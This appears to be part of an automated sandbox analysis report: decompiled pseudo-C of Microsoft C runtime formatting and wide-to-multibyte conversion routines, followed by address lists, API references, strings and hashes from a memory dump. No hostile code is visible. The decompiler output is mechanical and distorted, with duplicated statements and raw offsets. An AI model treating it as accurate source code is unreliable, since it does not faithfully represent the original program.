																					__edx =  *(__ebp - 0x44c);
																					 *__ecx =  *(__ebp - 0x44c);
																				} else {
																					__edx =  *(__ebp - 0x484);
																					__ax =  *(__ebp - 0x44c);
																					 *( *(__ebp - 0x484)) = __ax;
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L187;
																			}
																			L107:
																			__ecx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x4f4) = 0;
																			} else {
																				 *(__ebp - 0x4f4) = 1;
																			}
																			__edx =  *(__ebp - 0x4f4);
																			 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																			if( *(__ebp - 0x488) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E330();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x488) != 0) {
																				L115:
																				goto L187;
																			} else {
																				L114:
																				 *((intOrPtr*)(L00422E20(__ecx))) = 0x16;
																				__eax = E00422BB0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x4cc) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041ADD0(__ecx);
																				__eax =  *(__ebp - 0x4cc);
																				goto L225;
																			}
																		case 9:
																			L148:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L150;
																		case 0xa:
																			L142:
																			 *(__ebp - 0x30) = 8;
																			goto L143;
																		case 0xb:
																			L84:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x4f0) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x4f0);
																			 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428310(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				L98:
																				if( *(__ebp - 4) == 0) {
																					__ecx =  *0x440f84; // 0x404468
																					 *(__ebp - 4) = __ecx;
																				}
																				 *(__ebp - 0xc) = 1;
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x480) =  *(__ebp - 4);
																				while(1) {
																					L101:
																					__eax =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c) - 1;
																					 *(__ebp - 0x47c) = __ecx;
																					if( *(__ebp - 0x47c) == 0) {
																						break;
																					}
																					L102:
																					__edx =  *(__ebp - 0x480);
																					__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L103:
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				}
																				L104:
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) -  *(__ebp - 4);
																				__edx =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				goto L105;
																			} else {
																				L88:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f80; // 0x404478
																					 *(__ebp - 4) = __eax;
																				}
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x478) = __ecx;
																				 *(__ebp - 0x24) = 0;
																				while(1) {
																					L92:
																					__eax =  *(__ebp - 0x24);
																					if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																						break;
																					}
																					L93:
																					__ecx =  *(__ebp - 0x478);
																					__edx =  *__ecx;
																					if( *__ecx == 0) {
																						break;
																					}
																					L94:
																					__ecx = __ebp - 0x40;
																					E0041AE00(__ebp - 0x40) =  *(__ebp - 0x478);
																					__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																					if(E004311D0( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478)) != 0) {
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					}
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																				}
																				L97:
																				L105:
																				goto L187;
																			}
																		case 0xc:
																			L141:
																			 *(__ebp - 8) = 0xa;
																			goto L150;
																		case 0xd:
																			L144:
																			 *((intOrPtr*)(__ebp - 0x460)) = 0x27;
																			L145:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx = 0x30;
																				 *((short*)(__ebp - 0x14)) = __dx;
																				 *((intOrPtr*)(__ebp - 0x460)) =  *((intOrPtr*)(__ebp - 0x460)) + 0x51;
																				 *(__ebp - 0x12) = __ax;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L150;
																		case 0xe:
																			goto L187;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x0043c34b
0x0043c34b
0x0043c34b
0x0043c34b
0x0043c34b
0x0043c34b
0x0043c34b
0x0043c351
0x0043c354
0x00000000
0x0043c3d2
0x00000000
0x0043c3d2
0x00000000
0x0043c3d2
0x0043c3d2
0x0043c3da
0x0043c3fc
0x0043c402
0x0043c427
0x0043c46e
0x0043c471
0x0043c492
0x0043c497
0x0043c49c
0x0043c4a2
0x0043c473
0x0043c477
0x0043c47c
0x0043c47f
0x0043c480
0x0043c486
0x0043c486
0x0043c429
0x0043c42c
0x0043c42f
0x0043c451
0x0043c456
0x0043c45c
0x0043c45d
0x0043c463
0x0043c431
0x0043c435
0x0043c43a
0x0043c43e
0x0043c43f
0x0043c445
0x0043c445
0x0043c469
0x0043c404
0x0043c408
0x0043c40d
0x0043c410
0x0043c416
0x0043c416
0x0043c3dc
0x0043c3e0
0x0043c3e5
0x0043c3e8
0x0043c3ee
0x0043c3ee
0x0043c4ae
0x0043c4f0
0x0043c4f6
0x0043c502
0x00000000
0x0043c4b0
0x0043c4b0
0x0043c4b0
0x0043c4b7
0x00000000
0x0043c4c4
0x0043c4c4
0x0043c4d2
0x0043c4d7
0x0043c4dd
0x0043c4eb
0x0043c508
0x0043c510
0x0043c532
0x0043c532
0x0043c53c
0x0043c54d
0x0043c557
0x0043c559
0x0043c559
0x0043c53e
0x0043c53e
0x0043c53e
0x0043c56c
0x0043c56e
0x0043c56e
0x0043c57b
0x0043c57e
0x0043c57e
0x0043c584
0x0043c587
0x0043c58c
0x00000000
0x00000000
0x0043c59c
0x0043c59f
0x0043c5a9
0x0043c5b8
0x0043c5c1
0x0043c5d7
0x0043c5dd
0x0043c5ea
0x0043c5f8
0x0043c5f8
0x0043c607
0x0043c60f
0x0043c60f
0x0043c617
0x0043c620
0x0043c629
0x0043c635
0x0043c64e
0x0043c654
0x0043c65d
0x0043c65d
0x00000000
0x0043c660
0x00000000
0x0043c660
0x00000000
0x0043c660
0x00000000
0x0043c660
0x00000000
0x0043c660
0x00000000
0x0043c660
0x00000000
0x0043c660
0x0043c660
0x0043c660
0x0043c664
0x0043c840
0x0043c844
0x0043c84c
0x0043c851
0x0043c854
0x0043c854
0x0043c85b
0x0043c85b
0x0043b9db
0x0043b9e2
0x0043b9ef
0x0043b9f4
0x00000000
0x0043ba07
0x0043ba11
0x0043ba38
0x0043ba1f
0x0043ba30
0x0043ba30
0x0043ba11
0x0043ba42
0x0043ba48
0x0043ba54
0x0043ba57
0x0043ba65
0x0043ba68
0x0043ba75
0x0043bb1a
0x0043bb20
0x0043bb2d
0x00000000
0x00000000
0x0043bb33
0x0043bb39
0x00000000
0x0043bb40
0x0043bb40
0x0043bb5a
0x0043bb5f
0x00000000
0x00000000
0x0043bb67
0x0043bb67
0x0043bb6e
0x0043bb71
0x0043bb74
0x0043bb77
0x0043bb7a
0x0043bb7d
0x0043bb80
0x0043bb87
0x0043bb8e
0x00000000
0x00000000
0x0043bb9a
0x0043bb9a
0x0043bba1
0x0043bbad
0x0043bbb0
0x0043bbbd
0x00000000
0x00000000
0x0043bbbf
0x0043bbc5
0x0043bbc5
0x0043bbcc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bc10
0x0043bc10
0x0043bc1a
0x0043bc47
0x0043bc51
0x0043bc51
0x0043bc55
0x0043bc1c
0x0043bc1c
0x0043bc28
0x0043bc2f
0x0043bc34
0x0043bc37
0x0043bc3a
0x0043bc3d
0x0043bc3f
0x0043bc3f
0x0043bc42
0x00000000
0x00000000
0x0043bc5d
0x0043bc5d
0x00000000
0x00000000
0x0043bc69
0x0043bc69
0x0043bc73
0x0043bc93
0x0043bc96
0x0043bca0
0x0043bca0
0x0043bca4
0x0043bc75
0x0043bc75
0x0043bc81
0x0043bc88
0x0043bc8a
0x0043bc8a
0x0043bc91
0x00000000
0x00000000
0x0043bcac
0x0043bcac
0x0043bcb3
0x0043bcbf
0x0043bcc2
0x0043bccf
0x0043bde2
0x00000000
0x0043bde2
0x0043bcd5
0x0043bcdb
0x0043bcdb
0x0043bce2
0x00000000
0x0043bd19
0x0043bd19
0x0043bd1c
0x0043bd22
0x0043bd49
0x0043bd49
0x0043bd4c
0x0043bd52
0x0043bd76
0x0043bd76
0x0043bd79
0x0043bd7f
0x0043bdb8
0x0043bdc9
0x00000000
0x0043bdc9
0x0043bd81
0x0043bd81
0x0043bd84
0x0043bd8a
0x00000000
0x00000000
0x0043bd8c
0x0043bd8c
0x0043bd8f
0x0043bd95
0x00000000
0x00000000
0x0043bd97
0x0043bd97
0x0043bd9a
0x0043bda0
0x00000000
0x00000000
0x0043bda2
0x0043bda2
0x0043bda5
0x0043bdab
0x00000000
0x00000000
0x0043bdad
0x0043bdad
0x0043bdb0
0x0043bdb6
0x0043bdba
0x00000000
0x0043bdba
0x00000000
0x0043bdb6
0x0043bd54
0x0043bd54
0x0043bd57
0x0043bd5e
0x00000000
0x0043bd60
0x0043bd63
0x0043bd66
0x0043bd6c
0x0043bd71
0x00000000
0x0043bd71
0x0043bd5e
0x0043bd24
0x0043bd24
0x0043bd27
0x0043bd2e
0x00000000
0x0043bd30
0x0043bd33
0x0043bd36
0x0043bd3c
0x0043bd41
0x00000000
0x0043bd41
0x00000000
0x0043bdcb
0x0043bdcb
0x0043bdce
0x0043bdd1
0x00000000
0x00000000
0x0043bce9
0x0043bce9
0x0043bcec
0x0043bcf2
0x0043bd0e
0x0043bd11
0x0043bcf4
0x0043bcf4
0x0043bcf7
0x0043bcfa
0x0043bd00
0x0043bd06
0x0043bd06
0x00000000
0x00000000
0x0043bdd6
0x0043bdd9
0x0043bddf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bbe9
0x0043bbe9
0x0043bbec
0x0043bbef
0x00000000
0x00000000
0x0043bbf4
0x0043bbf7
0x0043bbfd
0x00000000
0x00000000
0x0043bbde
0x0043bbe1
0x0043bbe4
0x00000000
0x00000000
0x0043bbd3
0x0043bbd6
0x0043bbd9
0x00000000
0x00000000
0x0043bc02
0x0043bc05
0x0043bc08
0x00000000
0x00000000
0x0043bc0b
0x00000000
0x00000000
0x0043ba7b
0x0043ba7b
0x0043ba7d
0x0043ba8b
0x0043ba7f
0x0043ba7f
0x0043ba7f
0x0043ba9b
0x0043baa8
0x0043baaa
0x0043baaf
0x0043bab1
0x0043bab6
0x0043babb
0x0043babd
0x0043bac2
0x0043bac8
0x0043baca
0x0043baca
0x0043bac8
0x0043bacb
0x0043bad2
0x00000000
0x0043bad4
0x0043bad9
0x0043baf5
0x0043bafd
0x0043bb0a
0x0043bb0f
0x0043c924
0x0043c931
0x0043c931
0x0043bad2
0x0043ba75
0x0043c860
0x0043c867
0x0043c87e
0x0043c872
0x0043c872
0x0043c872
0x0043c888
0x0043c88e
0x0043c89b
0x0043c89d
0x0043c8a2
0x0043c8a4
0x0043c8a9
0x0043c8ae
0x0043c8b0
0x0043c8b5
0x0043c8bb
0x0043c8bd
0x0043c8bd
0x0043c8bb
0x0043c8c5
0x0043c910
0x0043c919
0x0043c91e
0x0043c8c7
0x0043c8cc
0x0043c8e8
0x0043c8f0
0x0043c8fd
0x0043c902
0x0043c902
0x00000000
0x0043c8c5
0x0043c66a
0x0043c670
0x0043c67a
0x0043c694
0x0043c6ae
0x0043c6b5
0x0043c6b9
0x0043c6b9
0x0043c696
0x0043c69b
0x0043c69f
0x0043c69f
0x0043c67c
0x0043c681
0x0043c685
0x0043c685
0x0043c67a
0x0043c6c9
0x0043c6d5
0x0043c6eb
0x0043c6f0
0x0043c6f0
0x0043c706
0x0043c70b
0x0043c714
0x0043c732
0x0043c737
0x0043c737
0x0043c73e
0x0043c7f8
0x0043c80b
0x0043c810
0x00000000
0x0043c74e
0x0043c74e
0x0043c751
0x0043c75a
0x0043c760
0x0043c760
0x0043c76f
0x0043c777
0x00000000
0x00000000
0x0043c779
0x0043c77c
0x0043c7a1
0x0043c7a6
0x0043c7a9
0x0043c7b6
0x0043c7c4
0x0043c7d7
0x0043c7dc
0x0043c7eb
0x00000000
0x0043c7eb
0x0043c7b8
0x0043c7b8
0x00000000
0x0043c7b8
0x0043c7f6
0x0043c813
0x0043c81a
0x0043c838
0x0043c83d
0x0043c83d
0x00000000
0x0043c81a
0x0043bde7
0x0043bde7
0x0043bdee
0x0043bdf4
0x0043bdfa
0x0043bdfd
0x0043be03
0x0043be10
0x0043be16
0x0043be16
0x0043be1d
0x00000000
0x0043c1a1
0x0043c1a1
0x0043c1af
0x0043c1b2
0x00000000
0x00000000
0x0043be24
0x0043be27
0x0043be2d
0x0043be32
0x0043be35
0x0043be35
0x00000000
0x00000000
0x0043bf6a
0x0043bf6d
0x0043bf72
0x0043bf77
0x0043bf7a
0x0043bf7a
0x00000000
0x00000000
0x0043c36d
0x0043c36d
0x00000000
0x00000000
0x0043bed4
0x0043bed4
0x0043bee0
0x0043beed
0x0043befb
0x0043befb
0x0043bf01
0x0043bf04
0x0043bf10
0x0043bf65
0x00000000
0x0043bf65
0x0043beef
0x0043beef
0x0043bef9
0x0043bf15
0x0043bf18
0x0043bf1e
0x0043bf46
0x0043bf4d
0x0043bf53
0x0043bf56
0x0043bf59
0x0043bf5f
0x0043bf62
0x0043bf20
0x0043bf20
0x0043bf26
0x0043bf29
0x0043bf2c
0x0043bf32
0x0043bf35
0x0043bf38
0x0043bf3a
0x0043bf3d
0x0043bf3d
0x00000000
0x0043bf1e
0x00000000
0x00000000
0x0043c1b9
0x0043c1bc
0x0043c1bf
0x0043c1c2
0x0043c1c8
0x0043c1cb
0x0043c1d6
0x0043c1e1
0x0043c1e5
0x0043c1fc
0x0043c203
0x0043c205
0x0043c205
0x0043c20c
0x0043c213
0x0043c221
0x0043c224
0x0043c233
0x0043c23a
0x0043c24f
0x0043c23c
0x0043c23c
0x0043c23f
0x0043c245
0x0043c24a
0x0043c24a
0x0043c23a
0x0043c259
0x0043c25c
0x0043c25f
0x0043c262
0x0043c265
0x0043c268
0x0043c26e
0x0043c274
0x0043c27c
0x0043c27d
0x0043c280
0x0043c281
0x0043c284
0x0043c285
0x0043c28c
0x0043c28d
0x0043c290
0x0043c291
0x0043c294
0x0043c295
0x0043c29b
0x0043c29c
0x0043c2ab
0x0043c2ad
0x0043c2b3
0x0043c2b8
0x0043c2c0
0x0043c2c8
0x0043c2c9
0x0043c2cc
0x0043c2cd
0x0043c2dc
0x0043c2de
0x0043c2de
0x0043c2e1
0x0043c2eb
0x0043c2f0
0x0043c2f6
0x0043c2f8
0x0043c300
0x0043c301
0x0043c304
0x0043c305
0x0043c313
0x0043c315
0x0043c315
0x0043c2f6
0x0043c318
0x0043c31b
0x0043c321
0x0043c326
0x0043c32b
0x0043c331
0x0043c334
0x0043c334
0x0043c337
0x0043c343
0x00000000
0x0043c343
0x0043c1e7
0x0043c1e7
0x0043c1f1
0x00000000
0x00000000
0x0043c1f3
0x0043c1f3
0x00000000
0x0043c1f3
0x0043c1d8
0x0043c1d8
0x00000000
0x00000000
0x0043be38
0x0043be38
0x0043be43
0x0043be4b
0x0043be52
0x0043be55
0x0043be58
0x0043beb8
0x0043be5a
0x0043be61
0x0043be67
0x0043be6d
0x0043be74
0x0043be77
0x0043be7d
0x0043be85
0x0043be87
0x0043be8e
0x0043be95
0x0043bea6
0x0043bea8
0x0043bea8
0x0043beaf
0x0043bebf
0x0043bec5
0x0043bec8
0x00000000
0x00000000
0x00000000
0x00000000
0x0043c0aa
0x0043c0aa
0x0043c0b6
0x0043c0c3
0x0043c16d
0x0043c16d
0x0043c170
0x0043c173
0x0043c187
0x0043c18d
0x0043c193
0x0043c175
0x0043c175
0x0043c17b
0x0043c182
0x0043c182
0x0043c195
0x00000000
0x0043c195
0x0043c0c9
0x0043c0c9
0x0043c0cb
0x0043c0d9
0x0043c0cd
0x0043c0cd
0x0043c0cd
0x0043c0e3
0x0043c0e9
0x0043c0f6
0x0043c0f8
0x0043c0fd
0x0043c0ff
0x0043c104
0x0043c109
0x0043c10b
0x0043c110
0x0043c116
0x0043c118
0x0043c118
0x0043c116
0x0043c120
0x0043c168
0x00000000
0x0043c122
0x0043c122
0x0043c127
0x0043c143
0x0043c14b
0x0043c155
0x0043c158
0x0043c15d
0x00000000
0x0043c15d
0x00000000
0x0043c3b4
0x0043c3b4
0x0043c3be
0x0043c3c4
0x0043c3c9
0x0043c3cf
0x0043c3cf
0x00000000
0x00000000
0x0043c366
0x0043c366
0x00000000
0x00000000
0x0043bf7d
0x0043bf81
0x0043bf8f
0x0043bf92
0x0043bf83
0x0043bf83
0x0043bf83
0x0043bf98
0x0043bf9e
0x0043bfa4
0x0043bfb0
0x0043bfb6
0x0043bfb9
0x0043c041
0x0043c045
0x0043c047
0x0043c04d
0x0043c04d
0x0043c050
0x0043c057
0x0043c05a
0x0043c060
0x0043c060
0x0043c060
0x0043c066
0x0043c06c
0x0043c06f
0x0043c077
0x00000000
0x00000000
0x0043c079
0x0043c079
0x0043c07f
0x0043c084
0x00000000
0x00000000
0x0043c086
0x0043c08c
0x0043c08f
0x0043c08f
0x0043c097
0x0043c09d
0x0043c0a0
0x0043c0a2
0x00000000
0x0043bfbf
0x0043bfbf
0x0043bfc3
0x0043bfc5
0x0043bfca
0x0043bfca
0x0043bfcd
0x0043bfd0
0x0043bfd6
0x0043bfe8
0x0043bfe8
0x0043bfe8
0x0043bff1
0x00000000
0x00000000
0x0043bff3
0x0043bff3
0x0043bff9
0x0043bffe
0x00000000
0x00000000
0x0043c000
0x0043c000
0x0043c009
0x0043c00f
0x0043c01d
0x0043c025
0x0043c028
0x0043c028
0x0043c034
0x0043c037
0x0043bfe2
0x0043bfe5
0x0043bfe5
0x0043c03f
0x0043c0a5
0x00000000
0x0043c0a5
0x00000000
0x0043c35d
0x0043c35d
0x00000000
0x00000000
0x0043c379
0x0043c379
0x0043c383
0x0043c383
0x0043c38d
0x0043c393
0x0043c395
0x0043c39a
0x0043c3a4
0x0043c3a7
0x0043c3ab
0x0043c3ab
0x00000000
0x00000000
0x00000000
0x00000000
0x0043be1d
0x0043c660
0x0043c660
0x0043c660
0x0043c660
0x0043c660
0x0043c660
0x0043c660
0x0043c4b7
0x0043c4ae
0x0043c3d2
0x0043c3d2
0x0043c3d2

APIs

_get_int64_arg.LIBCMTD ref: 0043C3E0
_get_int64_arg.LIBCMTD ref: 0043C408
__aullrem.LIBCMT ref: 0043C5B0
__aulldiv.LIBCMT ref: 0043C5D2
_write_multi_char.LIBCMTD ref: 0043C6EB
_write_string.LIBCMTD ref: 0043C706
_write_multi_char.LIBCMTD ref: 0043C732
__mbtowc_l.LIBCMTD ref: 0043C7A1

Strings

_woutput_s_l, xrefs: 0043BAEB
("Incorrect format specifier", 0), xrefs: 0043BAAA, 0043BAF0
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0043BAB6, 0043BAE6
9, xrefs: 0043C5E3

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: ("Incorrect format specifier", 0)$9$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3455034128-2408376751
Opcode ID: bdb48e12c929ce384a87cb2b14f78783b6553f3c95417f7feee7b7633b902591
Instruction ID: 0485d74a30d9469ab94cd8cf1f22a99754d2b1435eb24afb54622b89c5c805ed
Opcode Fuzzy Hash: bdb48e12c929ce384a87cb2b14f78783b6553f3c95417f7feee7b7633b902591
Instruction Fuzzy Hash: 56F16CB1D002299FDB24CF58CC81BAEB7B5FB89314F14519AE609B7241D738AE84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004371C3, Relevance: 33.3, APIs: 22, Instructions: 296
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E004371C3(void* __ebx, void* __edi, void* __esi) {
				intOrPtr* _t143;
				signed int* _t145;
				int _t150;
				intOrPtr* _t167;
				intOrPtr _t189;
				void* _t206;
				intOrPtr _t223;
				intOrPtr _t230;
				void* _t272;
				void* _t273;
				signed int _t274;

				_t273 = __esi;
				_t272 = __edi;
				_t206 = __ebx;
				if( *(_t274 + 8) == 0) {
					_t143 = E0041AE00(_t274 - 0x20);
					_t208 =  *_t143;
					if( *((intOrPtr*)( *_t143 + 0x14)) != 0) {
						_t210 = _t274 - 0x20;
						_t145 = E0041AE00(_t274 - 0x20);
						_t256 =  *_t145;
						 *(_t274 - 4) = WideCharToMultiByte( *( *_t145 + 4), 0,  *(_t274 + 0xc), 0xffffffff, 0, 0, 0, _t274 - 0x10);
						if( *(_t274 - 4) == 0 ||  *(_t274 - 0x10) != 0) {
							 *((intOrPtr*)(L00422E20(_t210))) = 0x2a;
							 *(_t274 - 0x68) = 0xffffffff;
							E0041ADD0(_t274 - 0x20);
							_t150 =  *(_t274 - 0x68);
						} else {
							 *(_t274 - 0x6c) =  *(_t274 - 4) - 1;
							E0041ADD0(_t274 - 0x20);
							_t150 =  *(_t274 - 0x6c);
						}
					} else {
						_t256 =  *(_t274 + 0xc);
						 *(_t274 - 0x64) = E0042DB10(_t208,  *(_t274 + 0xc));
						E0041ADD0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x64);
					}
					L47:
					return E0042BC70(_t150, _t206,  *(_t274 - 0x24) ^ _t274, _t256, _t272, _t273);
				}
				if( *((intOrPtr*)( *((intOrPtr*)(E0041AE00(_t274 - 0x20))) + 0x14)) != 0) {
					if( *((intOrPtr*)( *((intOrPtr*)(E0041AE00(_t274 - 0x20))) + 0xac)) != 1) {
						_t223 =  *((intOrPtr*)(E0041AE00(_t274 - 0x20)));
						_t256 =  *(_t223 + 4);
						 *(_t274 - 4) = WideCharToMultiByte( *(_t223 + 4), 0,  *(_t274 + 0xc), 0xffffffff,  *(_t274 + 8),  *(_t274 + 0x10), 0, _t274 - 0x10);
						if( *(_t274 - 4) == 0 ||  *(_t274 - 0x10) != 0) {
							if( *(_t274 - 0x10) != 0 || GetLastError() != 0x7a) {
								 *((intOrPtr*)(L00422E20(_t223))) = 0x2a;
								 *(_t274 - 0x4c) = 0xffffffff;
								E0041ADD0(_t274 - 0x20);
								_t150 =  *(_t274 - 0x4c);
							} else {
								while( *(_t274 - 4) <  *(_t274 + 0x10)) {
									_t167 = E0041AE00(_t274 - 0x20);
									_t230 =  *((intOrPtr*)(E0041AE00(_t274 - 0x20)));
									_t256 =  *(_t230 + 4);
									 *((intOrPtr*)(_t274 - 0xc)) = WideCharToMultiByte( *(_t230 + 4), 0,  *(_t274 + 0xc), 1, _t274 - 0x2c,  *( *_t167 + 0xac), 0, _t274 - 0x10);
									if( *((intOrPtr*)(_t274 - 0xc)) == 0 ||  *(_t274 - 0x10) != 0) {
										 *((intOrPtr*)(L00422E20(_t230))) = 0x2a;
										 *(_t274 - 0x50) = 0xffffffff;
										E0041ADD0(_t274 - 0x20);
										_t150 =  *(_t274 - 0x50);
									} else {
										if( *((intOrPtr*)(_t274 - 0xc)) < 0 ||  *((intOrPtr*)(_t274 - 0xc)) > 5) {
											 *((intOrPtr*)(L00422E20(_t230))) = 0x2a;
											 *(_t274 - 0x54) = 0xffffffff;
											E0041ADD0(_t274 - 0x20);
											_t150 =  *(_t274 - 0x54);
										} else {
											if( *(_t274 - 4) +  *((intOrPtr*)(_t274 - 0xc)) <=  *(_t274 + 0x10)) {
												 *(_t274 - 8) = 0;
												while( *(_t274 - 8) <  *((intOrPtr*)(_t274 - 0xc))) {
													( *(_t274 + 8))[ *(_t274 - 4)] =  *((intOrPtr*)(_t274 +  *(_t274 - 8) - 0x2c));
													_t256 =  &(( *(_t274 + 8))[ *(_t274 - 4)]);
													if(( *(_t274 + 8))[ *(_t274 - 4)] != 0) {
														 *(_t274 - 8) =  *(_t274 - 8) + 1;
														 *(_t274 - 4) =  *(_t274 - 4) + 1;
														continue;
													}
													 *(_t274 - 0x5c) =  *(_t274 - 4);
													E0041ADD0(_t274 - 0x20);
													_t150 =  *(_t274 - 0x5c);
													goto L47;
												}
												_t256 =  &(( *(_t274 + 0xc))[1]);
												 *(_t274 + 0xc) =  &(( *(_t274 + 0xc))[1]);
												continue;
											}
											 *(_t274 - 0x58) =  *(_t274 - 4);
											E0041ADD0(_t274 - 0x20);
											_t150 =  *(_t274 - 0x58);
										}
									}
									goto L47;
								}
								 *(_t274 - 0x60) =  *(_t274 - 4);
								E0041ADD0(_t274 - 0x20);
								_t150 =  *(_t274 - 0x60);
							}
						} else {
							 *(_t274 - 0x48) =  *(_t274 - 4) - 1;
							E0041ADD0(_t274 - 0x20);
							_t150 =  *(_t274 - 0x48);
						}
						goto L47;
					}
					if( *(_t274 + 0x10) > 0) {
						 *(_t274 + 0x10) = E004375B0( *(_t274 + 0xc),  *(_t274 + 0x10));
					}
					_t256 =  *(_t274 + 0xc);
					_t189 =  *((intOrPtr*)(E0041AE00(_t274 - 0x20)));
					_t243 =  *(_t189 + 4);
					 *(_t274 - 4) = WideCharToMultiByte( *(_t189 + 4), 0,  *(_t274 + 0xc),  *(_t274 + 0x10),  *(_t274 + 8),  *(_t274 + 0x10), 0, _t274 - 0x10);
					if( *(_t274 - 4) == 0 ||  *(_t274 - 0x10) != 0) {
						 *((intOrPtr*)(L00422E20(_t243))) = 0x2a;
						 *(_t274 - 0x44) = 0xffffffff;
						E0041ADD0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x44);
					} else {
						if( *((char*)( &(( *(_t274 + 8))[ *(_t274 - 4)]) - 1)) == 0) {
							 *(_t274 - 4) =  *(_t274 - 4) - 1;
						}
						_t256 =  *(_t274 - 4);
						 *(_t274 - 0x40) =  *(_t274 - 4);
						E0041ADD0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x40);
					}
					goto L47;
				} else {
					goto L2;
				}
				while(1) {
					L2:
					_t248 =  *(_t274 - 4);
					if( *(_t274 - 4) >=  *(_t274 + 0x10)) {
						break;
					}
					_t256 =  *(_t274 + 0xc);
					if(( *( *(_t274 + 0xc)) & 0x0000ffff) <= 0xff) {
						( *(_t274 + 8))[ *(_t274 - 4)] =  *( *(_t274 + 0xc));
						_t256 =  *( *(_t274 + 0xc)) & 0x0000ffff;
						 *(_t274 + 0xc) =  &(( *(_t274 + 0xc))[1]);
						if(( *( *(_t274 + 0xc)) & 0x0000ffff) != 0) {
							_t256 =  *(_t274 - 4) + 1;
							 *(_t274 - 4) =  *(_t274 - 4) + 1;
							continue;
						}
						 *(_t274 - 0x38) =  *(_t274 - 4);
						E0041ADD0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x38);
					} else {
						 *((intOrPtr*)(L00422E20(_t248))) = 0x2a;
						 *(_t274 - 0x34) = 0xffffffff;
						E0041ADD0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x34);
					}
					goto L47;
				}
				 *(_t274 - 0x3c) =  *(_t274 - 4);
				E0041ADD0(_t274 - 0x20);
				_t150 =  *(_t274 - 0x3c);
				goto L47;
			}

0x004371c3
0x004371c3
0x004371c3
0x004371c7
0x004374fe
0x00437503
0x00437509
0x0043753b
0x0043753e
0x00437543
0x0043754f
0x00437556
0x00437563
0x00437569
0x00437573
0x00437578
0x0043757d
0x00437583
0x00437589
0x0043758e
0x0043758e
0x0043750b
0x0043750b
0x00437517
0x0043751d
0x00437522
0x00437522
0x0043759b
